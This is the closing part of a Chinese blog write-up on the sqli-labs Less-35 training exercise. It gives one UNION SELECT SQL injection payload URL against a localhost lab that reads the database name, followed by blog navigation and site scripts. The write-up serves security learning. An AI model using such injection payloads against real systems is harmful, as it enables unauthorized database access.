<p>Less-35</p>
<p>输入‘还会报错</p>
<p><img src="https://raw.githubusercontent.com/srat1999/Pictures/master/img/Snipaste_2019-08-09_22-21-24.png" alt></p>
<p>是数字型的查询，不需要引号，直接上：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://localhost/sqli-labs/Less-35/?id=-1%20union%20select%201,2,database()--+</span><br></pre></td></tr></table></figure>
<p><img src="https://raw.githubusercontent.com/srat1999/Pictures/master/img/Snipaste_2019-08-09_22-20-58.png" alt></p>

      
    </div>
    
    
    

    

    

    

    <footer class="post-footer">
      
        <div class="post-tags">
          
            <a href="/tags/sql注入/" rel="tag"># sql注入</a>
          
        </div>
      

      
      
      

      
        <div class="post-nav">
          <div class="post-nav-next post-nav-item">
            
              <a href="/2019/08/07/http头部介绍（转）/" rel="next" title="http头部介绍（转）">
                <i class="fa fa-chevron-left"></i> http头部介绍（转）
              </a>
            
          </div>

          <span class="post-nav-divider"></span>

          <div class="post-nav-prev post-nav-item">
            
              <a href="/2019/08/09/sql注入基于sqli-labs-stacked-injections/" rel="prev" title="sql注入基于sqli-labs(stacked_injections)">
                sql注入基于sqli-labs(stacked_injections) <i class="fa fa-chevron-right"></i>
              </a>
            
          </div>
        </div>
      

      
      
    </footer>
  </div>
  
  
  
  </article>



    <div class="post-spread">
      
    </div>
  </div>


          </div>
          


          

  



        </div>
        
          
  
  <div class="sidebar-toggle">
    <div class="sidebar-toggle-line-wrap">
      <span class="sidebar-toggle-line sidebar-toggle-line-first"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-middle"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-last"></span>
    </div>
  </div>

  <aside id="sidebar" class="sidebar">
    
    <div class="sidebar-inner">

      

      
        <ul class="sidebar-nav motion-element">
          <li class="sidebar-nav-toc sidebar-nav-active" data-target="post-toc-wrap">
            文章目录
          </li>
          <li class="sidebar-nav-overview" data-target="site-overview-wrap">
            站点概览
          </li>
        </ul>
      

      <section class="site-overview-wrap sidebar-panel">
        <div class="site-overview">
          <div class="site-author motion-element" itemprop="author" itemscope itemtype="http://schema.org/Person">
            
              <img class="site-author-image" itemprop="image" src="/uploads/pikachu.jpg" alt="srat1999">
            
              <p class="site-author-name" itemprop="name">srat1999</p>
              <p class="site-description motion-element" itemprop="description">the higher you stand the more you can see</p>
          </div>

          <nav class="site-state motion-element">

            
              <div class="site-state-item site-state-posts">
              
                <a href="/archives/">
              
                  <span class="site-state-item-count">55</span>
                  <span class="site-state-item-name">日志</span>
                </a>
              </div>
            

            
              
              
              <div class="site-state-item site-state-categories">
                <a href="/categories/index.html">
                  <span class="site-state-item-count">13</span>
                  <span class="site-state-item-name">分类</span>
                </a>
              </div>
            

            
              
              
              <div class="site-state-item site-state-tags">
                <a href="/tags/index.html">
                  <span class="site-state-item-count">30</span>
                  <span class="site-state-item-name">标签</span>
                </a>
              </div>
            

          </nav>

          

          
            <div class="links-of-author motion-element">
                
                  <span class="links-of-author-item">
                    <a href="https://github.com/srat1999" target="_blank" title="GitHub">
                      
                        <i class="fa fa-fw fa-github"></i>GitHub</a>
                  </span>
                
                  <span class="links-of-author-item">
                    <a href="mailto:srat1999@163.com" target="_blank" title="E-Mail">
                      
                        <i class="fa fa-fw fa-envelope"></i>E-Mail</a>
                  </span>
                
            </div>
          

          
          

          
          

          

        </div>
      </section>

      
      <!--noindex-->
        <section class="post-toc-wrap motion-element sidebar-panel sidebar-panel-active">
          <div class="post-toc">

            
              
            

            
              <div class="post-toc-content"><ol class="nav"><li class="nav-item nav-level-2"><a class="nav-link" href="#0x01-二次注入"><span class="nav-number">1.</span> <span class="nav-text">0x01 二次注入</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#0x02-OR-、AND-、空格-等的过滤绕过"><span class="nav-number">2.</span> <span class="nav-text">0x02 OR 、AND 、空格 等的过滤绕过</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#0x03-HPP-http参数污染"><span class="nav-number">3.</span> <span class="nav-text">0x03 HPP(http参数污染)</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#看Less32："><span class="nav-number">3.1.</span> <span class="nav-text">看Less32：</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#Less34："><span class="nav-number">3.2.</span> <span class="nav-text">Less34：</span></a></li></ol></li></ol></div>
            

          </div>
        </section>
      <!--/noindex-->
      

      

    </div>
  </aside>


        
      </div>
    </main>

    <footer id="footer" class="footer">
      <div class="footer-inner">
        <div class="copyright">&copy; <span itemprop="copyrightYear">2020</span>
  <span class="with-love">
    <i class="fa fa-user"></i>
  </span>
  <span class="author" itemprop="copyrightHolder">srat1999</span>

  
    <span class="post-meta-divider">|</span>
    <span class="post-meta-item-icon">
      <i class="fa fa-area-chart"></i>
    </span>
    
      <span class="post-meta-item-text">Site words total count&#58;</span>
    
    <span title="Site words total count">70.1k</span>
  
</div>


  <div class="powered-by">由 <a class="theme-link" target="_blank" href="https://hexo.io">Hexo</a> 强力驱动</div>



  <span class="post-meta-divider">|</span>



  <div class="theme-info">主题 &mdash; <a class="theme-link" target="_blank" href="https://github.com/iissnan/hexo-theme-next">NexT.Muse</a> v5.1.4</div>




        







  <div>
    <script type="text/javascript">var cnzz_protocol = (("https:" == document.location.protocol) ? "https://" : "http://");document.write(unescape("%3Cspan id='cnzz_stat_icon_1278555274'%3E%3C/span%3E%3Cscript src='" + cnzz_protocol + "s4.cnzz.com/z_stat.php%3Fid%3D1278555274%26show%3Dpic' type='text/javascript'%3E%3C/script%3E"));</script>
    <script type="text/javascript">var cnzz_protocol = (("https:" == document.location.protocol) ? "https://" : "http://");document.write(unescape("%3Cspan id='cnzz_stat_icon_1278555274'%3E%3C/span%3E%3Cscript src='" + cnzz_protocol + "s4.cnzz.com/z_stat.php%3Fid%3D1278555274%26online%3D1%26show%3Dline' type='text/javascript'%3E%3C/script%3E"));</script>
  </div>
 



        
      </div>
    </footer>

    
      <div class="back-to-top">
        <i class="fa fa-arrow-up"></i>
        
      </div>
    

    

  </div>

  

<script type="text/javascript">
  if (Object.prototype.toString.call(window.Promise) !== '[object Function]') {
    window.Promise = null;
  }
</script>









  


  











  
  
    <script type="text/javascript" src="/lib/jquery/index.js?v=2.1.3"></script>
  

  
  
    <script type="text/javascript" src="/lib/fastclick/lib/fastclick.min.js?v=1.0.6"></script>
  

  
  
    <script type="text/javascript" src="/lib/jquery_lazyload/jquery.lazyload.js?v=1.9.7"></script>
  

  
  
    <script type="text/javascript" src="/lib/velocity/velocity.min.js?v=1.2.1"></script>
  

  
  
    <script type="text/javascript" src="/lib/velocity/velocity.ui.min.js?v=1.2.1"></script>
  

  
  
    <script type="text/javascript" src="/lib/fancybox/source/jquery.fancybox.pack.js?v=2.1.5"></script>
  

  
  
    <script type="text/javascript" src="/lib/canvas-nest/canvas-nest.min.js"></script>
  


  


  <script type="text/javascript" src="/js/src/utils.js?v=5.1.4"></script>

  <script type="text/javascript" src="/js/src/motion.js?v=5.1.4"></script>



  
  

  
  <script type="text/javascript" src="/js/src/scrollspy.js?v=5.1.4"></script>
<script type="text/javascript" src="/js/src/post-details.js?v=5.1.4"></script>



  


  <script type="text/javascript" src="/js/src/bootstrap.js?v=5.1.4"></script>



  


  




	





  





  












  

  <script type="text/javascript">
    // Popup Window;
    var isfetched = false;
    var isXml = true;
    // Search DB path;
    var search_path = "search.xml";
    if (search_path.length === 0) {
      search_path = "search.xml";
    } else if (/json$/i.test(search_path)) {
      isXml = false;
    }
    var path = "/" + search_path;
    // monitor main search box;

    var onPopupClose = function (e) {
      $('.popup').hide();
      $('#local-search-input').val('');
      $('.search-result-list').remove();
      $('#no-result').remove();
      $(".local-search-pop-overlay").remove();
      $('body').css('overflow', '');
    }

    function proceedsearch() {
      $("body")
        .append('<div class="search-popup-overlay local-search-pop-overlay"></div>')
        .css('overflow', 'hidden');
      $('.search-popup-overlay').click(onPopupClose);
      $('.popup').toggle();
      var $localSearchInput = $('#local-search-input');
      $localSearchInput.attr("autocapitalize", "none");
      $localSearchInput.attr("autocorrect", "off");
      $localSearchInput.focus();
    }

    // search function;
    var searchFunc = function(path, search_id, content_id) {
      'use strict';

      // start loading animation
      $("body")
        .append('<div class="search-popup-overlay local-search-pop-overlay">' +
          '<div id="search-loading-icon">' +
          '<i class="fa fa-spinner fa-pulse fa-5x fa-fw"></i>' +
          '</div>' +
          '</div>')
        .css('overflow', 'hidden');
      $("#search-loading-icon").css('margin', '20% auto 0 auto').css('text-align', 'center');

      $.ajax({
        url: path,
        dataType: isXml ? "xml" : "json",
        async: true,
        success: function(res) {
          // get the contents from search data
          isfetched = true;
          $('.popup').detach().appendTo('.header-inner');
          var datas = isXml ? $("entry", res).map(function() {
            return {
              title: $("title", this).text(),
              content: $("content",this).text(),
              url: $("url" , this).text()
            };
          }).get() : res;
          var input = document.getElementById(search_id);
          var resultContent = document.getElementById(content_id);
          var inputEventFunction = function() {
            var searchText = input.value.trim().toLowerCase();
            var keywords = searchText.split(/[\s\-]+/);
            if (keywords.length > 1) {
              keywords.push(searchText);
            }
            var resultItems = [];
            if (searchText.length > 0) {
              // perform local searching
              datas.forEach(function(data) {
                var isMatch = false;
                var hitCount = 0;
                var searchTextCount = 0;
                var title = data.title.trim();
                var titleInLowerCase = title.toLowerCase();
                var content = data.content.trim().replace(/<[^>]+>/g,"");
                var contentInLowerCase = content.toLowerCase();
                var articleUrl = decodeURIComponent(data.url);
                var indexOfTitle = [];
                var indexOfContent = [];
                // only match articles with not empty titles
                if(title != '') {
                  keywords.forEach(function(keyword) {
                    function getIndexByWord(word, text, caseSensitive) {
                      var wordLen = word.length;
                      if (wordLen === 0) {
                        return [];
                      }
                      var startPosition = 0, position = [], index = [];
                      if (!caseSensitive) {
                        text = text.toLowerCase();
                        word = word.toLowerCase();
                      }
                      while ((position = text.indexOf(word, startPosition)) > -1) {
                        index.push({position: position, word: word});
                        startPosition = position + wordLen;
                      }
                      return index;
                    }

                    indexOfTitle = indexOfTitle.concat(getIndexByWord(keyword, titleInLowerCase, false));
                    indexOfContent = indexOfContent.concat(getIndexByWord(keyword, contentInLowerCase, false));
                  });
                  if (indexOfTitle.length > 0 || indexOfContent.length > 0) {
                    isMatch = true;
                    hitCount = indexOfTitle.length + indexOfContent.length;
                  }
                }

                // show search results

                if (isMatch) {
                  // sort index by position of keyword

                  [indexOfTitle, indexOfContent].forEach(function (index) {
                    index.sort(function (itemLeft, itemRight) {
                      if (itemRight.position !== itemLeft.position) {
                        return itemRight.position - itemLeft.position;
                      } else {
                        return itemLeft.word.length - itemRight.word.length;
                      }
                    });
                  });

                  // merge hits into slices

                  function mergeIntoSlice(text, start, end, index) {
                    var item = index[index.length - 1];
                    var position = item.position;
                    var word = item.word;
                    var hits = [];
                    var searchTextCountInSlice = 0;
                    while (position + word.length <= end && index.length != 0) {
                      if (word === searchText) {
                        searchTextCountInSlice++;
                      }
                      hits.push({position: position, length: word.length});
                      var wordEnd = position + word.length;

                      // move to next position of hit

                      index.pop();
                      while (index.length != 0) {
                        item = index[index.length - 1];
                        position = item.position;
                        word = item.word;
                        if (wordEnd > position) {
                          index.pop();
                        } else {
                          break;
                        }
                      }
                    }
                    searchTextCount += searchTextCountInSlice;
                    return {
                      hits: hits,
                      start: start,
                      end: end,
                      searchTextCount: searchTextCountInSlice
                    };
                  }

                  var slicesOfTitle = [];
                  if (indexOfTitle.length != 0) {
                    slicesOfTitle.push(mergeIntoSlice(title, 0, title.length, indexOfTitle));
                  }

                  var slicesOfContent = [];
                  while (indexOfContent.length != 0) {
                    var item = indexOfContent[indexOfContent.length - 1];
                    var position = item.position;
                    var word = item.word;
                    // cut out 100 characters
                    var start = position - 20;
                    var end = position + 80;
                    if(start < 0){
                      start = 0;
                    }
                    if (end < position + word.length) {
                      end = position + word.length;
                    }
                    if(end > content.length){
                      end = content.length;
                    }
                    slicesOfContent.push(mergeIntoSlice(content, start, end, indexOfContent));
                  }

                  // sort slices in content by search text's count and hits' count

                  slicesOfContent.sort(function (sliceLeft, sliceRight) {
                    if (sliceLeft.searchTextCount !== sliceRight.searchTextCount) {
                      return sliceRight.searchTextCount - sliceLeft.searchTextCount;
                    } else if (sliceLeft.hits.length !== sliceRight.hits.length) {
                      return sliceRight.hits.length - sliceLeft.hits.length;
                    } else {
                      return sliceLeft.start - sliceRight.start;
                    }
                  });

                  // select top N slices in content

                  var upperBound = parseInt('1');
                  if (upperBound >= 0) {
                    slicesOfContent = slicesOfContent.slice(0, upperBound);
                  }

                  // highlight title and content

                  function highlightKeyword(text, slice) {
                    var result = '';
                    var prevEnd = slice.start;
                    slice.hits.forEach(function (hit) {
                      result += text.substring(prevEnd, hit.position);
                      var end = hit.position + hit.length;
                      result += '<b class="search-keyword">' + text.substring(hit.position, end) + '</b>';
                      prevEnd = end;
                    });
                    result += text.substring(prevEnd, slice.end);
                    return result;
                  }

                  var resultItem = '';

                  if (slicesOfTitle.length != 0) {
                    resultItem += "<li><a href='" + articleUrl + "' class='search-result-title'>" + highlightKeyword(title, slicesOfTitle[0]) + "</a>";
                  } else {
                    resultItem += "<li><a href='" + articleUrl + "' class='search-result-title'>" + title + "</a>";
                  }

                  slicesOfContent.forEach(function (slice) {
                    resultItem += "<a href='" + articleUrl + "'>" +
                      "<p class=\"search-result\">" + highlightKeyword(content, slice) +
                      "...</p>" + "</a>";
                  });

                  resultItem += "</li>";
                  resultItems.push({
                    item: resultItem,
                    searchTextCount: searchTextCount,
                    hitCount: hitCount,
                    id: resultItems.length
                  });
                }
              })
            };
            if (keywords.length === 1 && keywords[0] === "") {
              resultContent.innerHTML = '<div id="no-result"><i class="fa fa-search fa-5x" /></div>'
            } else if (resultItems.length === 0) {
              resultContent.innerHTML = '<div id="no-result"><i class="fa fa-frown-o fa-5x" /></div>'
            } else {
              resultItems.sort(function (resultLeft, resultRight) {
                if (resultLeft.searchTextCount !== resultRight.searchTextCount) {
                  return resultRight.searchTextCount - resultLeft.searchTextCount;
                } else if (resultLeft.hitCount !== resultRight.hitCount) {
                  return resultRight.hitCount - resultLeft.hitCount;
                } else {
                  return resultRight.id - resultLeft.id;
                }
              });
              var searchResultList = '<ul class=\"search-result-list\">';
              resultItems.forEach(function (result) {
                searchResultList += result.item;
              })
              searchResultList += "</ul>";
              resultContent.innerHTML = searchResultList;
            }
          }

          if ('auto' === 'auto') {
            input.addEventListener('input', inputEventFunction);
          } else {
            $('.search-icon').click(inputEventFunction);
            input.addEventListener('keypress', function (event) {
              if (event.keyCode === 13) {
                inputEventFunction();
              }
            });
          }

          // remove loading animation
          $(".local-search-pop-overlay").remove();
          $('body').css('overflow', '');

          proceedsearch();
        }
      });
    }

    // handle and trigger popup window;
    $('.popup-trigger').click(function(e) {
      e.stopPropagation();
      if (isfetched === false) {
        searchFunc(path, 'local-search-input', 'local-search-result');
      } else {
        proceedsearch();
      };
    });

    $('.popup-btn-close').click(onPopupClose);
    $('.popup').click(function(e){
      e.stopPropagation();
    });
    $(document).on('keyup', function (event) {
      var shouldDismissSearchPopup = event.which === 27 &&
        $('.search-popup').is(':visible');
      if (shouldDismissSearchPopup) {
        onPopupClose();
      }
    });
  </script>





  

  

  

  
  

  

  

  

</body>
</html>
